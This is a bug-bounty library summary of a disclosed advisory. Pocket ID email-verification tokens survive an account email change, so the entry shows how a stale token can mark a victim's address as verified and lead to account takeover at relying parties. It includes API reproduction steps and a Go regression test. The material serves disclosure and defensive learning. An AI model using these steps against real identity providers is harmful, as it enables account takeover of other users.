# Pocket ID: Email verification token remains valid after address change, enabling arbitrary verified-email spoofing

Pocket ID email-verification tokens bind only to user ID, so changing the account email then redeeming an old token marks an uncontrolled address verified, enabling downstream account takeover.

- Payout: Research
- Severity: critical
- Program: Pocket ID
- Found by: nexicturbo
- Disclosed: 2026-11-09
- CVE: CVE-2026-115770
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rm8c-2cv8-jwf6
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rm8c-2cv8-jwf6
- Tags: area:web domain:web impact:ato impact:integrity kind:research platform:ghsa sev:critical tech:oidc technique:regression technique:source-review vuln:account-takeover vuln:auth-bypass vuln:business-logic

**Target:** OIDC identity provider email verification API
**Root cause:** EmailVerificationToken stores only token, expiry and user ID, not the address it was sent to; UpdateUser resets the verified flag but does not revoke outstanding tokens, and VerifyEmail sets EmailVerified on the user's current record.
**Steps:**
1. Sign in as user with attacker-controlled email `attacker@example.test`.
2. `POST /api/users/me/send-email-verification` and capture the token from the mailbox without redeeming.
3. `PUT /api/users/me` to change email to `victim@example.test`; observe `emailVerified: false`.
4. `POST /api/users/me/verify-email` with the token issued for the old address.
5. `GET /api/users/me` shows `victim@example.test` with `emailVerified: true`.
6. Run OIDC flow with `email` scope; claims return `email_verified: true` for the victim address.
**How found:** Source review of the token model and VerifyEmail query showed the token record lacks any email binding, and UpdateUser only flips the verified flag; hypothesis confirmed by constructing a Go regression test that changes email after issuance and redeems the old token.
**Exploitation:** Attacker with an ordinary account requests a verification token to their own mailbox, swaps the account email to a victim's unused address, then redeems the stale token. Pocket ID attests email_verified=true for the victim address; a relying party that auto-links or provisions accounts by verified email signs the attacker into the victim's account.
**Escalation:** False verified-email attestation crosses the IdP boundary into relying parties that trust email_verified for account matching, yielding cross-application account takeover.
**Insight:** In IdPs, check whether verification/reset tokens are bound to the specific value (email, phone) they were issued for, and whether mutating that value revokes outstanding tokens — a flag reset is not a token revocation.

## Proof of concept (copied exactly from the original report)

**Go regression test proving token survives email change**

```
func TestAuditEmailVerificationTokenSurvivesEmailChange(t *testing.T) {
	userService, _ := newTestUserService(t)
	config := &appconfig.AppConfigModel{
		RequireUserEmail:    "true",
		AllowOwnAccountEdit: "true",
		EmailsVerified:      "false",
	}

	attackerEmail := "attacker-controlled@example.test"
	user, err := userService.CreateUser(t.Context(), config, dto.UserCreateDto{
		Username:      "attacker",
		Email:         &attackerEmail,
		EmailVerified: false,
	})
	require.NoError(t, err)

	const tokenFromAttackerMailbox = "token-issued-for-attacker-email"
	require.NoError(t, userService.db.Create(&model.EmailVerificationToken{
		UserID:    user.ID,
		Token:     tokenFromAttackerMailbox,
		ExpiresAt: datatype.DateTime(time.Now().Add(time.Hour)),
	}).Error)

	victimEmail := "victim@example.test"
	_, err = userService.UpdateUser(t.Context(), config, user.ID, dto.UserCreateDto{
		Username: user.Username,
		Email:    &victimEmail,
	}, true, false)
	require.NoError(t, err)

	changed, err := userService.GetUser(t.Context(), user.ID)
	require.NoError(t, err)
	require.Equal(t, victimEmail, *changed.Email)
	require.False(t, changed.EmailVerified)

	require.NoError(t, userService.VerifyEmail(
		t.Context(),
		user.ID,
		tokenFromAttackerMailbox,
	))

	verified, err := userService.GetUser(t.Context(), user.ID)
	require.NoError(t, err)
	require.Equal(t, victimEmail, *verified.Email)
	require.True(t, verified.EmailVerified)
}
```

**API reproduction steps for token reuse**

```
1. Sign in as an ordinary user whose current email address is controlled by the attacker, for example `attacker@example.test`.
2. Call `POST /api/users/me/send-email-verification`.
3. Obtain the token from the message delivered to `attacker@example.test`, but do not redeem it yet.
4. Call `PUT /api/users/me` and change the account email to an address the attacker does not control, for example `victim@example.test`.
5. Observe that the new address is initially stored with `emailVerified: false`.
6. Call `POST /api/users/me/verify-email` with the token delivered to `attacker@example.test`.
7. Call `GET /api/users/me`. The current address is now `victim@example.test` and `emailVerified` is `true`.
8. Complete an OIDC flow with the `email` scope. Pocket ID emits:

{
  "email": "victim@example.test",
  "email_verified": true
}

The old token has therefore verified a different address from the one to which it was delivered.
```

